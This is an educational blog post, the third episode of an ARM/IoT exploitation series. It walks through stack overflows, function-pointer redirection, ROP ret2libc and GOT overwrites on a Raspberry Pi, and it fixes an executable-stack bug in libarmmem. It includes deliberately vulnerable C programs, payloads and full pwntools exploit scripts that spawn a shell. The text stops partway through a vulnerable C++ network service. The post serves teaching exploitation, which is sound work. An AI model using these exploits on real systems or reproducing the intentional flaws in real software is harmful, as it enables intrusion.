ARM exploitation for IoT – Episode 3

In the previous episodes we have seen some basic concepts regarding ARM reversing and shellcode writing.
In this last part will see a brief introduction to exploit writing and we’ll keep it as simple as possible.

The list of topics is:

  • Modify the value of a local variable
  • Redirect the execution flow
  • Overwrite return address
  • GOT overwrite
  • C++ virtual table

We will use GEF (https://github.com/hugsy/gef) a Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers written by  @_hugsy_.

GEF is a kick-ass set of commands for x86, ARM, MIPS, PowerPC and SPARC to make GDB cool again for exploit dev.

Modify the value of a local variable

We start with a simple case that modifies a local variable, the source code for the file: stack1.c is

#include <stdio.h>

char pwdSecret[] = "stack123!";

void print_secr(){

  printf("Password is %s\n", pwdSecret);

}

int main(int argc, char **argv){

  int check=0;

  char buffer[32];

  gets(buffer);


  if(check == 0x74696445) {

    print_secr();

  }else{

    printf("No password to show\n");

  }

}

Compile the program with the -g option for easier analysis.

[email protected]:/home/pi/arm/episode3# gcc -o stack1 stack1.c -g

stack1.c: In function ‘main’:

stack1.c:15:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]

gets(buffer);

^

/tmp/ccA0dlly.o: In function `main':

stack1.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used.

The compiler suggest not to use the gets() deprecated function, never overlook the compiler’s warnings ;), for example an alternative could be to use the fgets() function, but our goal is to prove that the above code can actually be dangerous.

Let’s start from here:

echo `python -c 'print "A"*41'` | ./stack1

as we expect, there is a segmentation fault

Let’s analyze the crash, open gdb and set a breakpoint at the instruction:

gets(buffer);

Then insert the following payload

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Go on with nexti and look at the content of the buffer

gef> x/12x buffer

0x7efff664:0x41414141 0x41414141 0x41414141 0x41414141

0x7efff674:0x41414141 0x41414141 0x41414141 0x00004141

0x7efff684:0x00000000 0x00000000 0x76e8f678 0x76fb4000

We can see the the sequence of 0x41 bytes from 0xbefff664 to 0xbefff664+30, we can note also that the address 0xbefff684 is the address of the “check” local variable

gef> p &check

$2 = (int *) 0x7efff684

Then if we send a longer payload, we can overwrite the “check” variable.

For example if we overwrite the check variable with the this 0x45646974 the password should be printed.

Start again the program and send the following payload:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdit

We dump the buffer array after the gets instruction:

gef> x/12x buffer
0x7efff664:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff674:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff684:	0x74696445	0x00000000	0x76e8f678	0x76fb4000

And as expected the “check” variable now is overwritten:

gef> p check

$3 = 0x74696445

Continue the execution

Continuing.

Password is stack123!

[Inferior 1 (process 7243) exited normally]

We can automate everything with python:

[email protected]:/home/pi/arm/episode3# echo `python -c 'print "A"*32+"Edit"'` | ./stack1

Password is stack123!

Redirect the execution flow

We will see how to redirect the execution flow. Let start with the analysis of the following code:

File: redirect_execution.c

#include <stdio.h>
#include <string.h>


char msgSecret[] = "This is the secret message";

char msgDefault[] = "This is the default message";


typedef struct _msg_struct{

  char message[32];

  int (*print_msg)();

}msg_struct;


int print_secr(){

  printf("Congrats! %s\n", msgSecret);

  return 0;

}


int print_default(){

  printf("Hello! %s\n", msgDefault);

  return 0;

}


int main(int argc, char **argv){

  char message[80];

  msg_struct p;

  printf("Please enter a message: \n");

  gets(message);

  if(*message){

    p.print_msg=print_default;

    strcpy(p.message, message);

    p.print_msg();

  }else{

    printf("Insert the message!\n");

  }

  return 0;

}

run the program and write the following string as message:

“AAAAAA”

Look at the address of p.print_msg:

gef> x/x &p.print_msg
0x7efff614:	0x000104f8

Dump some bytes of the variable p.username:

gef> x/9x p.message
0x7efff5f4:	0x41414141	0x00004141	0x76ffd14c	0x76fffc50
0x7efff604:	0x7efff654	0x7efff650	0x00000000	0x76ffecf0
0x7efff614:	0x000104f8

We can deduce that if we insert more bytes (user input), we can overwrite the value of the function pointer at the address 0x7efff614

Let’s try to insert the following payload:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

We set a breakpoint at:

38	    p.print_pwd();

Look at the address of p.print_msg:

gef> x/x &p.print_msg
0x7efff614:	0x42424242
 
gef> x/9x p.message
0x7efff5f4:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff604:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff614:	0x42424242

The value of the function pointer was replaced with 0x42424242, now we try to change that value with the address of the print_secr() function.

gef> p print_secr
$1 = {int ()} 0x104d0 <print_secr>

gef> set *(int*)0x7efff614=0x104d0
gef> x/9x p.message
0x7efff5f4:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff604:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff614:	0x000104d0

Then continue the execution:

gef> c
Continuing.
Congrats! This is the secret message
[Inferior 1 (process 10712) exited normally]

Again… We can automate everything with python:

[email protected]:/home/pi/arm/episode3# python -c "print 'A'*32 + '\xd0\x04\x01\x00'" | ./redirect_execution

Please enter a message:

Congrats! This is the secret message

IMPORTANT NOTE

If we look at the stack permissions (with vmmap for example) we can see that the range is executable:

0x7efdf000 0x7f000000 0x00000000 rwx [stack]

In subsequent chapters we will use a non-executable stack portion.

If we compile the program (redirect_execution.c) with the compiler option “-z noexecstack

[email protected]:/home/pi/arm/episode3# gcc -o redirect_execution redirect_execution.c -z noexecstack

and look at the stack permissions:

gef> vmmap
Start      End        Offset     Perm Path

0x00010000 0x00011000 0x00000000 r-x /home/pi/arm/episode3/redirect_execution

0x00020000 0x00021000 0x00000000 r-- /home/pi/arm/episode3/redirect_execution

0x00021000 0x00022000 0x00001000 rw- /home/pi/arm/episode3/redirect_execution

0x00022000 0x00043000 0x00000000 rw- [heap]

0x76e7a000 0x76fa4000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fa4000 0x76fb3000 0x0012a000 --- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb3000 0x76fb5000 0x00129000 r-- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb5000 0x76fb6000 0x0012b000 rw- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb6000 0x76fb9000 0x00000000 rw-

0x76fb9000 0x76fbe000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76fbe000 0x76fcd000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76fcd000 0x76fce000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76fce000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fef000 0x76ff1000 0x00000000 rw-

0x76ff8000 0x76ffb000 0x00000000 rw-

0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]

0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]

0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]

0x76ffe000 0x76fff000 0x00020000 r-- /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fff000 0x77000000 0x00021000 rw- /lib/arm-linux-gnueabihf/ld-2.24.so

0x7efdf000 0x7f000000 0x00000000 rwx [stack]

0xffff0000 0xffff1000 0x00000000 r-x [vectors]

The stack is still executable.

After a quick analysis we can understand that the cause of everything is the shared library libarmmem.so, it was loaded in memory using the “/etc/ld.so.preload” file

[email protected]:/home/pi/arm/episode3# cat /etc/ld.so.preload

/usr/lib/arm-linux-gnueabihf/libarmmem.so

We can verify that the GNU_STACK program header is marked RWE:

[email protected]:/home/pi/arm/episode3# readelf -l /usr/lib/arm-linux-gnueabihf/libarmmem.so

Elf file type is DYN (Shared object file)

Entry point 0x568

There are 6 program headers, starting at offset 52


Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00000000 0x00000000 0x043f0 0x043f0 R E 0x10000
  LOAD           0x0043f0 0x000143f0 0x000143f0 0x00130 0x00134 RW  0x10000
  DYNAMIC        0x0043fc 0x000143fc 0x000143fc 0x000e8 0x000e8 RW  0x4
  NOTE           0x0000f4 0x000000f4 0x000000f4 0x00024 0x00024 R   0x4
  GNU_EH_FRAME   0x0042cc 0x000042cc 0x000042cc 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

 Section to Segment mapping:
  Segment Sections...
   00     .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .eh_frame_hdr .eh_frame
   01     .init_array .fini_array .jcr .dynamic .got .data .bss
   02     .dynamic
   03     .note.gnu.build-id
   04     .eh_frame_hdr
   05     

This means that those using my same raspbian version (I haven’t verified other versions) suffer from the same issue: part of the stack are executable.

The cause of this problem is that one of the assembly files (https://github.com/RPi-Distro/arm-mem/blob/master/architecture.S) is missing a GNU-stack option

How to fix it?

We can just add this:

/* Prevent the stack from becoming executable */
#if defined(__linux__) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits
#endif

into the architecture.S file.

I fixed it on github and you can get the fixed version from https://github.com/invictus1306/arm-mem, compile it:

[email protected]:/home/pi/arm/episode3/arm-mem-master# make

gcc -c -o architecture.o architecture.S

gcc -c -o memcmp.o memcmp.S

gcc -c -o memcpymove.o memcpymove.S

gcc -c -o memcpymove-a7.o memcpymove-a7.S

gcc -c -o memset.o memset.S

gcc -std=gnu99 -O2 -c -o trampoline.o trampoline.c

gcc -shared -o libarmmem.so architecture.o memcmp.o memcpymove.o memcpymove-a7.o memset.o trampoline.o

ar rcs libarmmem.a architecture.o memcmp.o memcpymove.o memcpymove-a7.o memset.o trampoline.o

gcc -std=gnu99 -O2 -c -o test.o test.c

gcc -o test test.o

Verify the GNU_STACK program header:

[email protected]:/home/pi/arm/episode3/arm-mem-master# readelf -l libarmmem.so

Elf file type is DYN (Shared object file)

Entry point 0x588

There are 7 program headers, starting at offset 52


Program Headers:

  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00000000 0x00000000 0x04410 0x04410 R E 0x10000
  LOAD           0x004f0c 0x00014f0c 0x00014f0c 0x00130 0x00134 RW  0x10000
  DYNAMIC        0x004f18 0x00014f18 0x00014f18 0x000e8 0x000e8 RW  0x4
  NOTE           0x000114 0x00000114 0x00000114 0x00024 0x00024 R   0x4
  GNU_EH_FRAME   0x0042ec 0x000042ec 0x000042ec 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x004f0c 0x00014f0c 0x00014f0c 0x000f4 0x000f4 R   0x1

Section to Segment mapping:

Segment Sections...
00     .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .eh_frame_hdr .eh_frame
   01     .init_array .fini_array .jcr .dynamic .got .data .bss
   02     .dynamic
   03     .note.gnu.build-id
   04     .eh_frame_hdr
   05     
   06     .init_array .fini_array .jcr .dynamic

Edit the file “/etc/ld.so.preload” adding the path of the new shared library

[email protected]:/home/pi/arm/episode3/arm-mem-master# cat /etc/ld.so.preload

/home/pi/arm/episode3/arm-mem-master/libarmmem.so

Come back to our example and try to compile it again:

[email protected]:/home/pi/arm/episode3# gcc -o redirect_execution redirect_execution.c -z noexecstack

We can now verify that the stack is not executable anymore:

gef> vmmap
Start      End        Offset     Perm Path

0x00010000 0x00011000 0x00000000 r-x /home/pi/arm/episode3/redirect_execution

0x00020000 0x00021000 0x00000000 r-- /home/pi/arm/episode3/redirect_execution

0x00021000 0x00022000 0x00001000 rw- /home/pi/arm/episode3/redirect_execution

0x76e79000 0x76fa3000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fa3000 0x76fb2000 0x0012a000 --- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb2000 0x76fb4000 0x00129000 r-- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb4000 0x76fb5000 0x0012b000 rw- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb5000 0x76fb8000 0x00000000 rw-

0x76fb8000 0x76fbd000 0x00000000 r-x /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fbd000 0x76fcc000 0x00005000 --- /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fcc000 0x76fcd000 0x00004000 r-- /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fcd000 0x76fce000 0x00005000 rw- /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fce000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fef000 0x76ff1000 0x00000000 rw-

0x76ff8000 0x76ffb000 0x00000000 rw-

0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]

0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]

0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]

0x76ffe000 0x76fff000 0x00020000 r-- /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fff000 0x77000000 0x00021000 rw- /lib/arm-linux-gnueabihf/ld-2.24.so

0x7efdf000 0x7f000000 0x00000000 rw- [stack]

0xffff0000 0xffff1000 0x00000000 r-x [vectors]

Cool! We fixed it, now we can move on with the next chapters.

Overwriting return address

In this chapter we will see how to use a simple ROP gadget in order to pop a shell.

The file that we are going to analyze will have the stack not executableASLR will be enabled, no PIE, so we will just find the address of a function imported in libc.

This is the file (stack_overflow.c):

#include <stdio.h>


void rop_func(){

  asm volatile(

    "pop {r0, r1, r2, lr} \n\t"

    "bx lr \n\t"

  );

}


void msg_func(){

  char message[64];

  read(0, message, 256);

}


int main(){

  msg_func();

  write(1, "Good done!\n",12);

  return 0;

}

Compile the program

[email protected]:/home/pi/arm/episode3# gcc -o stack_overflow stack_overflow.c -g

Lunch the checksec command from gef

gef> checksec

[+] checksec for '/home/pi/arm/episode3/stack_overflow'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

Enable ASLR

[email protected]:/home/pi/arm/episode3# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

2

We can notice that there is a function that contains a small sequence of instructions (rop_func).

The strategy that we will use is not the only way to exploit the program.

The strategy which we will adopt is to use the “write” function to print the address of the “read” function (leak), from here we can calculate the address of the “system” function and run it with the “/bin/sh” argument.

We can summarize:

  1. Get the address of the system function
  2. Execute system(/bin/sh)

Get the address of the system function

Start the program and set a breakpoint at line

->  12	   read(0, message, 256);

the payload to send is

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Go on with the next instruction

gef> next

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

and dump the stack

gef> x/18x $sp
0x7efff630:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff640:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff650:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff660:	0x41414141	0x41414141	0x41414141	0x41414141
0x7efff670:	0x7efff60a	0x000104bc

We are at the instruction:

->   0x104a8 <msg_func+32>    sub    sp,  r11,  #4

go on with nexti:

->   0x104ac <msg_func+36>    pop    {r11,  pc}

look at the stack:

gef> x/2x $sp
0x7efff670:	0x7efff60a	0x000104bc

Then if we will send more bytes (as payload), we will are able to overwrite the addresses 0x7efff670 and 0x7efff674.

Just go ahead with a manual editing, we want to jump to the “rop_func” function, so the changes to be made are

gef> p rop_func
$1 = {void ()} 0x1046c <rop_func>
gef>  set *(int*)($sp+4)=0x1046c
gef>  set *(int*)$sp=0x00000001
gef> x/2x $sp
0x7efff670:	0x00000001	0x0001046c

If we continue with the stepi instruction, we reach the rop_func:

->   0x1046c <rop_func+0>     push   {r11}		; (str r11,  [sp,  #-4]!)
      0x10470 <rop_func+4>     add    r11,  sp,  #0
      0x10474 <rop_func+8>     pop    {r0,  r1,  r2,  lr}
      0x10478 <rop_func+12>    bx     lr
      0x1047c <rop_func+16>    sub    sp,  r11,  #0
      0x10480 <rop_func+20>    pop    {r11}		; (ldr r11,  [sp],  #4)

let’s move up to the address 0x10474:

->   0x10474 <rop_func+8>     pop    {r0,  r1,  r2,  lr}

and prepare the stack, we want to use the pop instruction to get the address of the read function (leak), then we should set the value of the register in that way

r0 - standard output = 0x00000001

r1 - address of read = 0x2100c

r2 - number of bytes to write = 0x00000004

lr - address of write = 0x104C8

In order to make the write call

write(r0, 0x2100c, 0x4)

Let’s set the stack manually

gef> set *(int*)($sp+4)=0x2100c
gef> set *(int*)($sp+8)=0x00000004
gef> set *(int*)($sp+12)=0x104C8
gef> x/4x $sp
0x7efff674:	0x00000001	0x0002100c	0x00000004	0x000104c8

After the branch instruction (bx lr), we reach the address of the write function at 0x104c8

->  17	   write(1, "Good done!\n",12);

->   0x104c8 <main+24>        bl     0x1032c

with these arguments

$r0   : 0x00000001
$r1   : 0x0002100c -> 0x76f3a150 -> <read+0> ldr r12,  [pc,  #96]	; 0x76f3a1b8
$r2   : 0x00000004

Go on with nexti and we got the address of the read functions, from here we can calculate the address of the system function, but we will see it better in the final exploit.

Go at the instruction

0x104d4 <main+36>        pop    {r11,  pc}

Now we want to return to the read function, we must set the “pc” equal to the address of the read function in our binary (0x104d4).

gef> set *(int*)$sp=0x00000000
gef> set *(int*)($sp+4)=0x10488

If we continue, the stepi instruction will be

->   0x10488 <msg_func+0>     push   {r11,  lr}
      0x1048c <msg_func+4>     add    r11,  sp,  #4
      0x10490 <msg_func+8>     sub    sp,  sp,  #64	; 0x40
      0x10494 <msg_func+12>    sub    r3,  r11,  #68	; 0x44
      0x10498 <msg_func+16>    mov    r0,  #0
      0x1049c <msg_func+20>    mov    r1,  r3

Execute system(/bin/sh)

We can use the same rop gadget

pop {r0, r1, r2, lr}

bx lr

in order to call the system function

system(r0)

In this case the value of the registers will be

r0 – address of /bin/sh

r1 – not used

r2 – not used

lr - address of system

Go on and enter again the following payload:

gef>

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

then go on again at the instruction

->   0x104ac <msg_func+36>    pop    {r11,  pc}

Fill the register r11 and the program counter

gef> find &system,+1000000,"/bin/sh"
0x76f96588
1 pattern found.
gef> set *(int*)$sp=0x76f96588
gef> set *(int*)($sp+4)=0x1046C

Go on with at the address  0x10474 and fill the lr register

->   0x10474 <rop_func+8>     pop    {r0,  r1,  r2,  lr}

Get the address of the system() function:

gef> p system
$4 = {<text variable, no debug info>} 0x76eb0154 <system>

Prepare the stack, we need just to fill the address of the system at $sp+12

gef> set *(int*)($sp+12)=0x76eb0154
gef> x/4x $sp
0x7efff674:	0x76f96588	0x00000000	0x76e8f678	0x76eb0154

If we continue

gef> c
Continuing.

We get a shell:

# pwd

/home/pi/arm/episode3

We can use this script for automatize all (file: exploit_stack_overf.py)

#!/usr/bin/env python2

from pwn import *

ip = "192.168.0.13"
port = 22
user = "pi"
pwd = "andrea85"

libc = ELF('libc-2.24.so')

shell = ssh(user, ip, password=pwd, port=port)

sh = shell.run('/home/pi/arm/episode3/stack_overflow')

payload = "A"*64
payload += p32(0x1)       # r0 - standard output
payload += p32(0x1046C)   # rop gadget pop {r0, r1, r2, lr}; bx lr
payload += p32(0x2100c)   # r1 - address of read
payload += p32(0x4)       # r2 - number of bytes to write
payload += p32(0x104C8)   # lr - address of write
payload += p32(0x00)      # not used
payload += p32(0x10488)   # jump to the read  - 0x104d4 <main+36>        pop    {r11,  pc}
sh.sendline(payload)

# get the read address
read_address = u32(sh.recv(4))
log.info('address of the read: %#x' % read_address)
# get the libc_base address
libc_base_address = read_address - libc.symbols['read']
# get the system address
system_address = libc_base_address + libc.symbols['system']
log.info('address of the system: %#x' % system_address)
shell_address = libc_base_address + next(libc.search("/bin/sh"))

payload = "A"*64
payload += p32(shell_address)       # r0 - /bin/sh address
payload += p32(0x1046C)             # rop gadget pop {r0, r1, r2, lr}; bx lr
payload += p32(0x00)                # r1 - not used
payload += p32(0x00)                # r2 - not used
payload += p32(system_address)      # lr - address of the system
sh.sendline(payload)

sh.interactive()

shell.close()

Execute it

GOT overwrite

The purpose in this chapter is to understand how to overwrite the Global Offset table (GOT) in order to redirect the code execution and pop a shell, we will use only a ROP gadget for that.

file: got_overw.c

#include <stdio.h>
#include <math.h>


#define MAX 12
#define PI 3.14159265

int main()
{
  static int arr[MAX];
  char ch;
  int num, ret;
  int flag=1;
  unsigned int i, in_num, out_num, cos_param, write_index;

  printf("Please fill the array:\n");

  for(i=0;i<MAX;i++){
    if(scanf("%d", &in_num)==1){
      arr[i]=in_num;
    }
    else{
      printf("Please enter a number\n");
      return 0;
    }
  }

  while(flag){
    printf("Select the index of the element that you want to read: \n");
    
    if(scanf("%d", &num)!=1){
      printf("Please enter a number\n");
      return 0;
    }

    printf("At position %d the value is %d\n", num, arr[num]);
    
    printf("Do you want read another number? [y/n]\n");
 
    scanf(" %c", &ch);

    if(ch!='y'){
      flag=0;
    }
  }

  printf("How many value do you want to modify?\n");

  if(scanf("%d", &cos_param)!=1){
      printf("Please enter a number:\n");
      return 0;
  }
  //param 180
  ret = cos(cos_param * PI /180.0);

  if (ret<0){
  	write_index = MAX;
  }
  else
  {
  	write_index = 1;
  }

  while(write_index){
    if(flag!=0){
      printf("Do you want to edit some value in the array? [y/n]\n");
      scanf(" %c", &ch);
    }

    if(ch=='y' || flag==0){
      printf("Select the index of the element that you want to modify\n");
      scanf("%d", &num);
      
      printf("Enter the new value\n");
      scanf("%d", &out_num);

      arr[num]=out_num;
      write_index--;
      flag=1;
    }
    else{
      break;
    }
  }
  printf("Good done!\n");
  return 0;
 }

Compile the program, this time with the stack not executable

[email protected]:/home/pi/arm/episode3# gcc -o got_overw got_overw.c -g -lm

The ASLR is enabled

Let’s see quickly the behavior of this simple program

  • Fill the array with 12 numbers
  • Select the index of a element in the array that you want to read

Note that the “num” variable is an integer

arr[num] is printed

  • It is possible to read others numbers
  • Insert how many values you want to modify

This is not really true, we must insert a number which is saved into the variable “cos_param”, and then, if

cos(cos_param * PI /180.0)<0

we can edit 12 elements otherwise we can edit only one element, for example if we want to edit 12 elements the value of “cos_param” must be 180.

At this point we are in the condition to select the index of the element to write, and the value to insert.

Let’s see an example

I told to pay attention to the “num” variable, for example what happen if we insert -10?

Start the debugger and set a breakpoint at line 35

We have the address of the put function (GOT section)

then we have an arbitrary read vulnerability that we can use to leak some important address (remember that ASLR is enabled)

We have seen also that there is the possibility to modify a value

arr[num]=out_num;

in this case we have another vulnerability that allows us to write in memory in a controlled way, we should note that the got section is writable

Summarizing we have an arbitrary read and write vulnerability.

We will use a very simple strategy to build our exploit, the purpose is to get a shell

  1. Put into the array (“arr”) the “/bin/sh” string
  2. Get the address of the system function (inside the libc)
  3. Prepare the stack
  4. Edit the address of the put function in the GOT table (note that printf is called at the end of the program)

Let’ s try

1- Put into the array (“arr”) the “/bin/sh” string

2- Get the address of the system function (inside the libc)

The libc main function is located at the offset (-9)

In the final exploit we will see how calculate the address of the system function, but for now we can get it in a very easy way

3- Prepare the stack

In order to find the gadget I advise you to use this tool https://github.com/JonathanSalwan/ROPgadget by @JonathanSalwan, ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures.

In our case we should put into “r0” the address of the “/bin/sh” string, and call the system function

system(r0)

As we will see soon the address of the “/bin/sh” string is inside the “r2” register, for do that we use only a ROP gadget

[email protected]:/home/invictus/Scrivania/article/episode3# ROPgadget --binary libc-2.24.so | grep "mov r0, r2"

...

0x000ed748 : mov r0, r2 ; pop {r4, pc}

…

Depending on the gadget we chose, we have to put inside $sp+4 (local variable “cos_param”) the address of the system function

As we can see now at $sp+4 we have the system address

4- Edit the address of the put function in the GOT table (note that printf is called at the end of the program) with the address of the gadget

We know that the address of the put function in the GOT table is at the index “-10”

Then insert “-10”, go on and insert the address of the gadget as “out_num”,

->  74	       scanf("%d", &out_num);

The gadget offset is

0x000ed748 : mov r0, r2 ; pop {r4, pc}

The libc base address is 0x76dfa000

Then the gadget address will be

gadget_address = libc_base + gadget_offset

We can enter now the address of the gadget (0x76ee7748)

Go on at the instruction

->  84	   printf("Good done!\n");

Then go inside with the “stepi” instruction and look at the “r2” register

Continue, and we get our shell

The exploit’s code follows:

file: exploit_got.py

#!/usr/bin/env python2

from pwn import *

ip = "192.168.0.13"
port = 22
user = "pi"
pwd = "andrea85"

libc = ELF('libc-2.24.so')
gadget_offset = 0xed748

shell = ssh(user, ip, password=pwd, port=port)

sh = shell.run('/home/pi/arm/episode3/got_overw')

# fill the array
sh.recvuntil('array:\n')
sh.sendline('1852400175') # "nib/"
sh.sendline('6845231')    # "hs/"
for i in range(0,10):
	sh.sendline(str(i))

sh.recvuntil('read: \n')

# Leak the libc address
sh.sendline('-9')  # offset to the libc in the GOT section
ret = sh.recvline().split()
libc_main = int(ret[6])
# libc_base = libc_main - libc_base_offset
libc_base = libc_main - libc.symbols['__libc_start_main']
log.info('libcbase: %#x' % libc_base)
# address of the system function
system_addr = libc_base + libc.symbols['system']
log.info('system address: %#x' % system_addr)

sh.recvuntil('[y/n]\n')
# do not read other values
sh.sendline('n')

sh.recvuntil('modify?\n')
# send the system function address
sh.sendline(str(system_addr))
sh.recvuntil('modify\n')
sh.sendline('-10')  # offset of the put in the GOT section
sh.recvuntil('value\n')
# gadget address
gadget_address = libc_base + gadget_offset
log.info('gadget address: %#x' % gadget_address)
# send the gadget address
sh.sendline(str(gadget_address))

sh.interactive()

shell.close()

C++ virtual table

In this last example we will see how to redirect the execution of a vulnerable application by using the C++ virtual table.

This is the application that we must analyze: uaf.c

#include <iostream>
#include <cerrno>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>

#define PORT     4444
#define MAX_NUM  10

using namespace std;

int fd_sock;
static int roulette;

class Note{
  protected:
    unsigned int note_number;
    string note_desc[10];

  public:
    void insert_note(string ins_note){
      if (note_number<10){
        note_desc[note_number] = ins_note;
        cout << "Note added!" << endl;
        note_number++;
      }else{
        cout << "You can not add more notesd!" << endl; } } void delete_note(){ if(note_number>0){
        note_number--;
      }else{
        note_number=0;
      }

      if (!note_desc[note_number].empty()){
        note_desc[note_number].clear();
        cout << "Note deleted!" << endl;
      }else{
        cout << "No note to delete!" << endl;
      }
    }

    int edit_note(unsigned int new_index, string new_note){
      if((new_index<10)&&(!note_desc[new_index].empty())){
        note_desc[new_index] = new_note;
        cout << "Note modified!" << endl;
      }else{
        cout << "You can not edit this note" << endl;
      }
      return 0;   
    }

    virtual int show_all_notes(){
      return 0;
    }
};

class Edit : public Note{
  public:
    virtual int show_all_notes(){
      unsigned int i;
      for(i=0;i<note_number;i++){
        cout << note_desc[i] << endl;
      }
      return 0;
    }
};

void stack_pivot(){
  asm volatile(
    "ldr sp,[r4, #0x0c] \n\t"
    "ldr sp, [sp] \n\t"      
    "pop {lr, pc} \n\t"
  );
}

void set_address(){
  int *num = new int[12]; 
  int tmp;
  cout << "Enter the number" << endl; cin >> tmp;
  num[0]=tmp;
  cout << "Number correctly inserted" << endl; } void stack_info(){ string str; printf("Debug informations area \n"); cin >> str;
  printf(str.c_str());
}

int note(){
  int client_sockfd;
  struct sockaddr_in caddr;
  socklen_t acclen = sizeof(caddr);
  unsigned int index = 0;
  unsigned int index_to_edit=0;
  string new_note;
  string edit_not;
  int res, i;
  char c, ch;
  char *tmp;
  string input;
  char wel_msg[512] = "Welcome! Enjoy to use this app to manage your notes";
  
  acclen = sizeof(caddr);

  Edit *edit_obj = new Edit;

  while(1){
    if((client_sockfd = accept(fd_sock, (struct sockaddr *) &caddr, &acclen)) < 0 ){
      std::cerr << strerror(errno) << std::endl;
      exit(1);
    }

    dup2(client_sockfd, 0);
    dup2(client_sockfd, 1);
    dup2(client_sockfd, 2);
    
    cout << wel_msg << endl;

    while(1){
      cout << "1- Insert a note" << endl;
      cout << "2- show all notes" << endl;
      cout << "3- Edit a note" << endl;
      cout << "4- Delete the last note" << endl;
      cout << "5- Set your address :)" << endl;
      cout << "0- Change the message" << endl;
      cout << endl; std::cin.clear(); cin >> input;
      c = input[0];
      index = atoi(&c);

      switch(index){
        case 1:
          cout << "Enter the new value: " << endl; cin >> new_note;
          edit_obj->insert_note(new_note);
          break;
        
        case 2:
          edit_obj->show_all_notes();
          break;

        case 3:
          cout << "Insert the index of the note to modify: " << endl; cin >> input;
          c = input[0];
          index_to_edit = atoi(&c);
          cout << "Enter the new value: " << endl; cin >> edit_not;
          res = edit_obj->edit_note(index_to_edit, edit_not);
          break;

        case 4:
          edit_obj->delete_note();
          cout << "Try to set the roulette number: " << endl; cin >> roulette;
          delete edit_obj;
          break;
 
        case 5:
          set_address();
          break;
        
        case 0:
          cout << "Enter the new message: " << endl;
          tmp = wel_msg;
          i=0;
          ch = std::cin.get();
          while ((ch = std::cin.get()) != 51 && i<256){
            memcpy(tmp, &ch, 256);
            tmp = tmp + 1;
            i += 1;
          }
          break;
        
        case 9:
          stack_info();
          cout << "Debug informations" << endl;
          cout << "Address of wel_msg" << "---" << &wel_msg << endl;
          cout << "Address of roulette" << "---" << &roulette << endl;
          cout << "Well done!" << endl;
          break;

        default:
          cout << "Please select a correct option! " << endl;
          break;
      }
    }
  }
  close(client_sockfd);
  return 0;
}

int main(){
  pid_t pid;
  int var = 1;
  struct sockaddr_in sockaddr;

  sockaddr.sin_family = AF_INET;
  sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  sockaddr.sin_port = htons(PORT);

  while(1){
    pid = fork();
    if ( pid == 0 ){
